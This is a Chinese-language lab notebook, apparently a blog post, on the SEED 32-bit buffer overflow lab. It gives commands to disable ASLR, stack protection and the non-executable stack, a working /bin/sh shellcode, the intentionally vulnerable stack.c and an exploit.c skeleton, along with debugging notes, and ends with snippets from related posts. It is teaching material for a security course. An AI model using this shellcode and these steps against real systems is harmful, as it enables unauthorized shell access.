SEED缓冲区溢出实验笔记

缓冲区溢出实验(Linux 32位)

参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

(本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

1. 准备工作

使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

(1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

(2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

(3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

2. ShellCode

教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

#include <stdio.h>
int main( ) {
char*
name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 

3.漏洞程序stack.c

程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

4.实验内容

GDB的使用参考:

http://blog.csdn.net/liigo/article/details/582231

http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

(1)攻击漏洞程序执行shellcode

使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

执行memcpy后,可以看出内存变为如下图所示。

即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’\x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

修改exploit.c如下所示,成功!

(2)启动内存地址随机化

首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

(3)Stack Guard

首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

(4)栈不可执行

使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

时间: 2024-10-29 10:45:41

SEED缓冲区溢出实验笔记的相关文章

2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /*

CSAPP缓冲区溢出实验记录(一)

题目说明: 开启漏洞之旅,从基础做起.近日,下载了CMU为<深入理解计算机系统>(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理. 题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数.修改全局变量.执行Shellcode等,难度逐渐递增.为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值.在我的机器上, [email protect

使用Linux进行缓冲区溢出实验的配置记录

在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等目的.但随着操作系统和编译器针对缓冲区溢出问题引入防护机制,初学者想要由简入繁的学习和实践缓冲区溢出的原理变得困难.在 Linux 环境下,用户可以通过设置编译和系统环境来去除某些防护措施,从而方便的完成某些简单的缓冲区溢出实验. 1.关闭SSP( Stack Smashing Protector

缓冲区溢出实验

话说 实验楼 网站上有"缓冲区溢出漏洞实验"的实验指导,是免费的,可以一览. seed虚拟机.程序源码如下: exploit1.c: /* exploit.c  */ /* A program that creates a file containing code for launching shell*/#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode

CSAPP缓冲区溢出实验记录(三)

Level 5 Nitroglycerin (10 分) 题目说明:这一关是一道加分题.在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn: int getbufn() {     char buf[512];     Gets(buf);     return 1; } 这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致ge

CSAPP缓冲区溢出实验记录(二)

Level 2: firecracker(30分) bufbomb中存在一个bang函数, int global_value = 0; void bang(int val) {     if (global_value == cookie) {         printf("Bang!: You set global_value to 0x%x\n", global_value);         validate(2); } else     printf("Misfir

CSAPP实验四----缓冲区溢出实验bufbomb

在网上关于这个的实验有几个版本,这个版本只有三关,都比较基础,为了不让大家混淆,对本实验做一下说明: 文件说明     1. bufbomb : 主程序,有四个选项,最常用的是 -t ,后面加自己的姓名等,运行时会根据加入的参数生成cookie,第二关和第三关都会用到. 2.  sendstring :  翻译程序,实验要求将字符转化成ascii码输入,两位输入,即想输入0也要输入00,1对应01,以此类推.可以通过 sendstring < exploit.txt > exploit_raw

实验一:缓冲区溢出漏洞实验20115116黄婧

缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 一.实验要求 1.为了监控实验进程,我们采用私有课程方式,进入实验楼课程,单击加入私有课程,输入邀请码2YTE6J9X,个人信息中输入学号+姓名; 2.实验报告在博客园 发Blog公开,重点是实验过程中的运行结果(要有截图),遇到的问题.解决办法(不要是空洞的方法如“查网络”.“问同学”.“看书”等)以及分析(从中可以得到什么启示,有什么收获,教训

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 本实验详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的